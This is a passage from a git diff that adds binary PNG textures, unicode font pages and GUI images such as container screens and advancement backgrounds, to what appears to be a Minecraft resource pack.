b/src/assets/minecraft/textures/font/unicode_page_88.png new file mode 100644 index 00000000..2388727e Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_88.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_89.png b/src/assets/minecraft/textures/font/unicode_page_89.png new file mode 100644 index 00000000..e35974af Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_89.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_8a.png b/src/assets/minecraft/textures/font/unicode_page_8a.png new file mode 100644 index 00000000..008a185f Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_8a.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_8b.png b/src/assets/minecraft/textures/font/unicode_page_8b.png new file mode 100644 index 00000000..360f9c6e Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_8b.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_8c.png b/src/assets/minecraft/textures/font/unicode_page_8c.png new file mode 100644 index 00000000..12b78b51 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_8c.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_8d.png b/src/assets/minecraft/textures/font/unicode_page_8d.png new file mode 100644 index 00000000..10de16c3 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_8d.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_8e.png b/src/assets/minecraft/textures/font/unicode_page_8e.png new file mode 100644 index 00000000..8e4f17cc Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_8e.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_8f.png b/src/assets/minecraft/textures/font/unicode_page_8f.png new file mode 100644 index 00000000..6e4c9414 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_8f.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_90.png b/src/assets/minecraft/textures/font/unicode_page_90.png new file mode 100644 index 00000000..a95436c2 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_90.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_91.png b/src/assets/minecraft/textures/font/unicode_page_91.png new file mode 100644 index 00000000..d7bad075 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_91.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_92.png b/src/assets/minecraft/textures/font/unicode_page_92.png new file mode 100644 index 00000000..3676d3f6 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_92.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_93.png b/src/assets/minecraft/textures/font/unicode_page_93.png new file mode 100644 index 00000000..d59c7d2c Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_93.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_94.png b/src/assets/minecraft/textures/font/unicode_page_94.png new file mode 100644 index 00000000..8f381404 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_94.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_95.png b/src/assets/minecraft/textures/font/unicode_page_95.png new file mode 100644 index 00000000..13cf8c7a Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_95.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_96.png b/src/assets/minecraft/textures/font/unicode_page_96.png new file mode 100644 index 00000000..6a7838cc Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_96.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_97.png b/src/assets/minecraft/textures/font/unicode_page_97.png new file mode 100644 index 00000000..081c1afd Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_97.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_98.png b/src/assets/minecraft/textures/font/unicode_page_98.png new file mode 100644 index 00000000..2bdcbf9b Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_98.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_99.png b/src/assets/minecraft/textures/font/unicode_page_99.png new file mode 100644 index 00000000..5789f19a Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_99.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_9a.png b/src/assets/minecraft/textures/font/unicode_page_9a.png new file mode 100644 index 00000000..8aacdc6f Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_9a.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_9b.png b/src/assets/minecraft/textures/font/unicode_page_9b.png new file mode 100644 index 00000000..34a54bdd Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_9b.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_9c.png b/src/assets/minecraft/textures/font/unicode_page_9c.png new file mode 100644 index 00000000..57e4a71f Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_9c.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_9d.png b/src/assets/minecraft/textures/font/unicode_page_9d.png new file mode 100644 index 00000000..0a079be1 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_9d.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_9e.png b/src/assets/minecraft/textures/font/unicode_page_9e.png new file mode 100644 index 00000000..80ce2b35 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_9e.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_9f.png b/src/assets/minecraft/textures/font/unicode_page_9f.png new file mode 100644 index 00000000..a6100ae1 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_9f.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_a0.png b/src/assets/minecraft/textures/font/unicode_page_a0.png new file mode 100644 index 00000000..70c2b209 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_a0.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_a1.png b/src/assets/minecraft/textures/font/unicode_page_a1.png new file mode 100644 index 00000000..b6507596 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_a1.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_a2.png b/src/assets/minecraft/textures/font/unicode_page_a2.png new file mode 100644 index 00000000..44b5a8d7 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_a2.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_a3.png b/src/assets/minecraft/textures/font/unicode_page_a3.png new file mode 100644 index 00000000..a6987c7f Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_a3.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_a4.png b/src/assets/minecraft/textures/font/unicode_page_a4.png new file mode 100644 index 00000000..4dce2f28 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_a4.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_a5.png b/src/assets/minecraft/textures/font/unicode_page_a5.png new file mode 100644 index 00000000..cec113ca Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_a5.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_a6.png b/src/assets/minecraft/textures/font/unicode_page_a6.png new file mode 100644 index 00000000..d28ad134 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_a6.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_a7.png b/src/assets/minecraft/textures/font/unicode_page_a7.png new file mode 100644 index 00000000..b41be026 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_a7.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_a8.png b/src/assets/minecraft/textures/font/unicode_page_a8.png new file mode 100644 index 00000000..8a21e030 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_a8.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_a9.png b/src/assets/minecraft/textures/font/unicode_page_a9.png new file mode 100644 index 00000000..0970c142 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_a9.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_aa.png b/src/assets/minecraft/textures/font/unicode_page_aa.png new file mode 100644 index 00000000..81927129 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_aa.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_ab.png b/src/assets/minecraft/textures/font/unicode_page_ab.png new file mode 100644 index 00000000..b771a716 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_ab.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_ac.png b/src/assets/minecraft/textures/font/unicode_page_ac.png new file mode 100644 index 00000000..2818b954 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_ac.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_ad.png b/src/assets/minecraft/textures/font/unicode_page_ad.png new file mode 100644 index 00000000..9d53d257 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_ad.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_ae.png b/src/assets/minecraft/textures/font/unicode_page_ae.png new file mode 100644 index 00000000..b10a7be8 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_ae.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_af.png b/src/assets/minecraft/textures/font/unicode_page_af.png new file mode 100644 index 00000000..538e377b Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_af.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_b0.png b/src/assets/minecraft/textures/font/unicode_page_b0.png new file mode 100644 index 00000000..0bac8500 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_b0.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_b1.png b/src/assets/minecraft/textures/font/unicode_page_b1.png new file mode 100644 index 00000000..0f0f56e5 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_b1.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_b2.png b/src/assets/minecraft/textures/font/unicode_page_b2.png new file mode 100644 index 00000000..c064012b Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_b2.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_b3.png b/src/assets/minecraft/textures/font/unicode_page_b3.png new file mode 100644 index 00000000..daa46be8 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_b3.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_b4.png b/src/assets/minecraft/textures/font/unicode_page_b4.png new file mode 100644 index 00000000..9cd89ffa Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_b4.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_b5.png b/src/assets/minecraft/textures/font/unicode_page_b5.png new file mode 100644 index 00000000..d50990dc Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_b5.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_b6.png b/src/assets/minecraft/textures/font/unicode_page_b6.png new file mode 100644 index 00000000..7cbdbe5a Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_b6.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_b7.png b/src/assets/minecraft/textures/font/unicode_page_b7.png new file mode 100644 index 00000000..bb825321 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_b7.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_b8.png b/src/assets/minecraft/textures/font/unicode_page_b8.png new file mode 100644 index 00000000..d5d32ddc Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_b8.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_b9.png b/src/assets/minecraft/textures/font/unicode_page_b9.png new file mode 100644 index 00000000..acda6e03 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_b9.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_ba.png b/src/assets/minecraft/textures/font/unicode_page_ba.png new file mode 100644 index 00000000..47d0a75a Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_ba.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_bb.png b/src/assets/minecraft/textures/font/unicode_page_bb.png new file mode 100644 index 00000000..39a4b8f1 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_bb.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_bc.png b/src/assets/minecraft/textures/font/unicode_page_bc.png new file mode 100644 index 00000000..f9429784 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_bc.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_bd.png b/src/assets/minecraft/textures/font/unicode_page_bd.png new file mode 100644 index 00000000..783a79b1 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_bd.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_be.png b/src/assets/minecraft/textures/font/unicode_page_be.png new file mode 100644 index 00000000..2df8f23b Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_be.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_bf.png b/src/assets/minecraft/textures/font/unicode_page_bf.png new file mode 100644 index 00000000..da9f3c68 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_bf.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_c0.png b/src/assets/minecraft/textures/font/unicode_page_c0.png new file mode 100644 index 00000000..21ee4bec Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_c0.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_c1.png b/src/assets/minecraft/textures/font/unicode_page_c1.png new file mode 100644 index 00000000..c7cc199a Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_c1.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_c2.png b/src/assets/minecraft/textures/font/unicode_page_c2.png new file mode 100644 index 00000000..5e8dfdb4 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_c2.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_c3.png b/src/assets/minecraft/textures/font/unicode_page_c3.png new file mode 100644 index 00000000..949ca7c3 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_c3.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_c4.png b/src/assets/minecraft/textures/font/unicode_page_c4.png new file mode 100644 index 00000000..85580db9 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_c4.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_c5.png b/src/assets/minecraft/textures/font/unicode_page_c5.png new file mode 100644 index 00000000..656e69f9 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_c5.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_c6.png b/src/assets/minecraft/textures/font/unicode_page_c6.png new file mode 100644 index 00000000..e9e9e77c Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_c6.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_c7.png b/src/assets/minecraft/textures/font/unicode_page_c7.png new file mode 100644 index 00000000..7b3971e4 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_c7.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_c8.png b/src/assets/minecraft/textures/font/unicode_page_c8.png new file mode 100644 index 00000000..5b02f56a Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_c8.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_c9.png b/src/assets/minecraft/textures/font/unicode_page_c9.png new file mode 100644 index 00000000..f162dc45 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_c9.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_ca.png b/src/assets/minecraft/textures/font/unicode_page_ca.png new file mode 100644 index 00000000..bb52b26a Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_ca.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_cb.png b/src/assets/minecraft/textures/font/unicode_page_cb.png new file mode 100644 index 00000000..bc38e37a Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_cb.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_cc.png b/src/assets/minecraft/textures/font/unicode_page_cc.png new file mode 100644 index 00000000..4c82ee76 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_cc.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_cd.png b/src/assets/minecraft/textures/font/unicode_page_cd.png new file mode 100644 index 00000000..806205f7 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_cd.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_ce.png b/src/assets/minecraft/textures/font/unicode_page_ce.png new file mode 100644 index 00000000..ef0a4a78 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_ce.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_cf.png b/src/assets/minecraft/textures/font/unicode_page_cf.png new file mode 100644 index 00000000..22499858 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_cf.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_d0.png b/src/assets/minecraft/textures/font/unicode_page_d0.png new file mode 100644 index 00000000..4438d1d3 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_d0.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_d1.png b/src/assets/minecraft/textures/font/unicode_page_d1.png new file mode 100644 index 00000000..cb6afe8e Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_d1.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_d2.png b/src/assets/minecraft/textures/font/unicode_page_d2.png new file mode 100644 index 00000000..62ae8252 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_d2.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_d3.png b/src/assets/minecraft/textures/font/unicode_page_d3.png new file mode 100644 index 00000000..a3d59892 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_d3.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_d4.png b/src/assets/minecraft/textures/font/unicode_page_d4.png new file mode 100644 index 00000000..893b3561 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_d4.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_d5.png b/src/assets/minecraft/textures/font/unicode_page_d5.png new file mode 100644 index 00000000..4f7774d9 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_d5.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_d6.png b/src/assets/minecraft/textures/font/unicode_page_d6.png new file mode 100644 index 00000000..f72847fb Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_d6.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_d7.png b/src/assets/minecraft/textures/font/unicode_page_d7.png new file mode 100644 index 00000000..845a04b7 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_d7.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_f9.png b/src/assets/minecraft/textures/font/unicode_page_f9.png new file mode 100644 index 00000000..02c37fdc Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_f9.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_fa.png b/src/assets/minecraft/textures/font/unicode_page_fa.png new file mode 100644 index 00000000..fda45608 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_fa.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_fb.png b/src/assets/minecraft/textures/font/unicode_page_fb.png new file mode 100644 index 00000000..c900e2ab Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_fb.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_fc.png b/src/assets/minecraft/textures/font/unicode_page_fc.png new file mode 100644 index 00000000..49d460c1 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_fc.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_fd.png b/src/assets/minecraft/textures/font/unicode_page_fd.png new file mode 100644 index 00000000..ea8e3e0f Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_fd.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_fe.png b/src/assets/minecraft/textures/font/unicode_page_fe.png new file mode 100644 index 00000000..cacee8a5 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_fe.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_ff.png b/src/assets/minecraft/textures/font/unicode_page_ff.png new file mode 100644 index 00000000..c14110d1 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_ff.png differ diff --git a/src/assets/minecraft/textures/gui/accessibility.png b/src/assets/minecraft/textures/gui/accessibility.png new file mode 100644 index 00000000..cb05cd38 Binary files /dev/null and b/src/assets/minecraft/textures/gui/accessibility.png differ diff --git a/src/assets/minecraft/textures/gui/advancements/backgrounds/adventure.png b/src/assets/minecraft/textures/gui/advancements/backgrounds/adventure.png new file mode 100644 index 00000000..91cec2a7 Binary files /dev/null and b/src/assets/minecraft/textures/gui/advancements/backgrounds/adventure.png differ diff --git a/src/assets/minecraft/textures/gui/advancements/backgrounds/end.png b/src/assets/minecraft/textures/gui/advancements/backgrounds/end.png new file mode 100644 index 00000000..6d747c02 Binary files /dev/null and b/src/assets/minecraft/textures/gui/advancements/backgrounds/end.png differ diff --git a/src/assets/minecraft/textures/gui/advancements/backgrounds/husbandry.png b/src/assets/minecraft/textures/gui/advancements/backgrounds/husbandry.png new file mode 100644 index 00000000..b73ffc08 Binary files /dev/null and b/src/assets/minecraft/textures/gui/advancements/backgrounds/husbandry.png differ diff --git a/src/assets/minecraft/textures/gui/advancements/backgrounds/nether.png b/src/assets/minecraft/textures/gui/advancements/backgrounds/nether.png new file mode 100644 index 00000000..50b56218 Binary files /dev/null and b/src/assets/minecraft/textures/gui/advancements/backgrounds/nether.png differ diff --git a/src/assets/minecraft/textures/gui/advancements/backgrounds/stone.png b/src/assets/minecraft/textures/gui/advancements/backgrounds/stone.png new file mode 100644 index 00000000..2665baef Binary files /dev/null and b/src/assets/minecraft/textures/gui/advancements/backgrounds/stone.png differ diff --git a/src/assets/minecraft/textures/gui/advancements/tabs.png b/src/assets/minecraft/textures/gui/advancements/tabs.png new file mode 100644 index 00000000..3dbc77ff Binary files /dev/null and b/src/assets/minecraft/textures/gui/advancements/tabs.png differ diff --git a/src/assets/minecraft/textures/gui/advancements/widgets.png b/src/assets/minecraft/textures/gui/advancements/widgets.png new file mode 100644 index 00000000..83db82af Binary files /dev/null and b/src/assets/minecraft/textures/gui/advancements/widgets.png differ diff --git a/src/assets/minecraft/textures/gui/advancements/window.png b/src/assets/minecraft/textures/gui/advancements/window.png new file mode 100644 index 00000000..fa5559d3 Binary files /dev/null and b/src/assets/minecraft/textures/gui/advancements/window.png differ diff --git a/src/assets/minecraft/textures/gui/bars.png b/src/assets/minecraft/textures/gui/bars.png new file mode 100644 index 00000000..3086fce8 Binary files /dev/null and b/src/assets/minecraft/textures/gui/bars.png differ diff --git a/src/assets/minecraft/textures/gui/book.png b/src/assets/minecraft/textures/gui/book.png new file mode 100644 index 00000000..c9007bda Binary files /dev/null and b/src/assets/minecraft/textures/gui/book.png differ diff --git a/src/assets/minecraft/textures/gui/checkbox.png b/src/assets/minecraft/textures/gui/checkbox.png new file mode 100644 index 00000000..593d8298 Binary files /dev/null and b/src/assets/minecraft/textures/gui/checkbox.png differ diff --git a/src/assets/minecraft/textures/gui/container/anvil.png b/src/assets/minecraft/textures/gui/container/anvil.png new file mode 100644 index 00000000..7b7ab672 Binary files /dev/null and b/src/assets/minecraft/textures/gui/container/anvil.png differ diff --git a/src/assets/minecraft/textures/gui/container/beacon.png b/src/assets/minecraft/textures/gui/container/beacon.png new file mode 100644 index 00000000..9158b074 Binary files /dev/null and b/src/assets/minecraft/textures/gui/container/beacon.png differ diff --git a/src/assets/minecraft/textures/gui/container/blast_furnace.png b/src/assets/minecraft/textures/gui/container/blast_furnace.png new file mode 100644 index 00000000..452ad342 Binary files /dev/null and b/src/assets/minecraft/textures/gui/container/blast_furnace.png differ diff --git a/src/assets/minecraft/textures/gui/container/brewing_stand.png b/src/assets/minecraft/textures/gui/container/brewing_stand.png new file mode 100644 index 00000000..56b72ce9 Binary files /dev/null and b/src/assets/minecraft/textures/gui/container/brewing_stand.png differ diff --git a/src/assets/minecraft/textures/gui/container/cartography_table.png b/src/assets/minecraft/textures/gui/container/cartography_table.png new file mode 100644 index 00000000..a5c052d9 Binary files /dev/null and b/src/assets/minecraft/textures/gui/container/cartography_table.png differ diff --git a/src/assets/minecraft/textures/gui/container/crafting_table.png b/src/assets/minecraft/textures/gui/container/crafting_table.png new file mode 100644 index 00000000..38c05c03 Binary files /dev/null and b/src/assets/minecraft/textures/gui/container/crafting_table.png differ diff --git a/src/assets/minecraft/textures/gui/container/creative_inventory/tab_inventory.png b/src/assets/minecraft/textures/gui/container/creative_inventory/tab_inventory.png new file mode 100644 index 00000000..f328206c Binary files /dev/null and b/src/assets/minecraft/textures/gui/container/creative_inventory/tab_inventory.png differ diff --git a/src/assets/minecraft/textures/gui/container/creative_inventory/tab_item_search.png b/src/assets/minecraft/textures/gui/container/creative_inventory/tab_item_search.png new file mode 100644 index 00000000..be178b74 Binary files /dev/null and b/src/assets/minecraft/textures/gui/container/creative_inventory/tab_item_search.png differ diff --git a/src/assets/minecraft/textures/gui/container/creative_inventory/tab_items.png b/src/assets/minecraft/textures/gui/container/creative_inventory/tab_items.png new file mode 100644 index 00000000..2b6fbb9c Binary files /dev/null and b/src/assets/minecraft/textures/gui/container/creative_inventory/tab_items.png differ diff --git a/src/assets/minecraft/textures/gui/container/creative_inventory/tabs.png b/src/assets/minecraft/textures/gui/container/creative_inventory/tabs.png new file mode 100644 index 00000000..8bb183a0 Binary files /dev/null and b/src/assets/minecraft/textures/gui/container/creative_inventory/tabs.png differ diff --git a/src/assets/minecraft/textures/gui/container/dispenser.png b/src/assets/minecraft/textures/gui/container/dispenser.png new file mode 100644 index 00000000..f840ee74 Binary files /dev/null and b/src/assets/minecraft/textures/gui/container/dispenser.png differ diff --git a/src/assets/minecraft/textures/gui/container/enchanting_table.png b/src/assets/minecraft/textures/gui/container/enchanting_table.png new file mode 100644 index 00000000..15583fbf Binary files /dev/null and b/src/assets/minecraft/textures/gui/container/enchanting_table.png differ diff --git a/src/assets/minecraft/textures/gui/container/furnace.png b/src/assets/minecraft/textures/gui/container/furnace.png new file mode 100644 index 00000000..f40de39d Binary files /dev/null and b/src/assets/minecraft/textures/gui/container/furnace.png differ diff --git a/src/assets/minecraft/textures/gui/container/gamemode_switcher.png b/src/assets/minecraft/textures/gui/container/gamemode_switcher.png new file mode 100644 index 00000000..68e85540 Binary files /dev/null and b/src/assets/minecraft/textures/gui/container/gamemode_switcher.png differ diff --git a/src/assets/minecraft/textures/gui/container/generic_54.png b/src/assets/minecraft/textures/gui/container/generic_54.png new file mode 100644 index 00000000..9169433f Binary files /dev/null and b/src/assets/minecraft/textures/gui/container/generic_54.png differ diff --git a/src/assets/minecraft/textures/gui/container/grindstone.png b/src/assets/minecraft/textures/gui/container/grindstone.png new file mode 100644 index 00000000..e420e05b Binary files /dev/null and b/src/assets/minecraft/textures/gui/container/grindstone.png differ diff --git a/src/assets/minecraft/textures/gui/container/hopper.png b/src/assets/minecraft/textures/gui/container/hopper.png new file mode 100644 index 00000000..56f4b894 Binary files /dev/null and b/src/assets/minecraft/textures/gui/container/hopper.png differ diff --git a/src/assets/minecraft/textures/gui/container/horse.png b/src/assets/minecraft/textures/gui/container/horse.png new file mode 100644 index 00000000..e5ee7fcc Binary files /dev/null and b/src/assets/minecraft/textures/gui/container/horse.png differ diff --git a/src/assets/minecraft/textures/gui/container/inventory.png b/src/assets/minecraft/textures/gui/container/inventory.png new file mode 100644 index 00000000..79430fb3 Binary files /dev/null and b/src/assets/minecraft/textures/gui/container/inventory.png differ diff --git a/src/assets/minecraft/textures/gui/container/loom.png b/src/assets/minecraft/textures/gui/container/loom.png new file mode 100644 index 00000000..cdeff581 Binary files /dev/null and b/src/assets/minecraft/textures/gui/container/loom.png differ diff --git a/src/assets/minecraft/textures/gui/container/shulker_box.png b/src/assets/minecraft/textures/gui/container/shulker_box.png new file mode 100644 index 00000000..40cbb46d Binary files /dev/null and b/src/assets/minecraft/textures/gui/container/shulker_box.png differ diff --git a/src/assets/minecraft/textures/gui/container/smithing.png b/src/assets/minecraft/textures/gui/container/smithing.png new file mode 100644 index 00000000..97a6e6d7 Binary files /dev/null and b/src/assets/minecraft/textures/gui/container/smithing.png differ diff --git a/src/assets/minecraft/textures/gui/container/smoker.png b/src/assets/minecraft/textures/gui/container/smoker.png new file mode 100644 index 00000000..452ad342 Binary files /dev/null and b/src/assets/minecraft/textures/gui/container/smoker.png differ diff --git a/src/assets/minecraft/textures/gui/container/stats_icons.png b/src/assets/minecraft/textures/gui/container/stats_icons.png new file mode 100644 index 00000000..ff4029e9 Binary files /dev/null and b/src/assets/minecraft/textures/gui/container/stats_icons.png differ diff --git a/src/assets/minecraft/textures/gui/container/stonecutter.png b/src/assets/minecraft/textures/gui/container/stonecutter.png new file mode 100644 index 00000000..a0dcf566 Binary files /dev/null and b/src/assets/minecraft/textures/gui/container/stonecutter.png differ diff --git a/src/assets/minecraft/textures/gui/container/villager2.png b/src/assets/minecraft/textures/gui/container/villager2.png new file mode 100644 index 00000000..ab25b948 Binary files /dev/null and b/src/assets/minecraft/textures/gui/container/villager2.png differ diff --git a/src/assets/minecraft/textures/gui/demo_background.png b/src/assets/minecraft/textures/gui/demo_background.png new file mode 100644 index 00000000..1f1f388d Binary files /dev/null and b/src/assets/minecraft/textures/gui/demo_background.png differ diff --git a/src/assets/minecraft/textures/gui/icons.png b/src/assets/minecraft/textures/gui/icons.png new file mode 100644 index 00000000..25421224 Binary files /dev/null and b/src/assets/minecraft/textures/gui/icons.png differ diff --git a/src/assets/minecraft/textures/gui/options_background.png b/src/assets/minecraft/textures/gui/options_background.png new file mode 100644 index 00000000..5c02f918 Binary files /dev/null and b/src/assets/minecraft/textures/gui/options_background.png differ diff --git a/src/assets/minecraft/textures/gui/presets/isles.png b/src/assets/minecraft/textures/gui/presets/isles.png new file mode 100644 index 00000000..14251061 Binary files 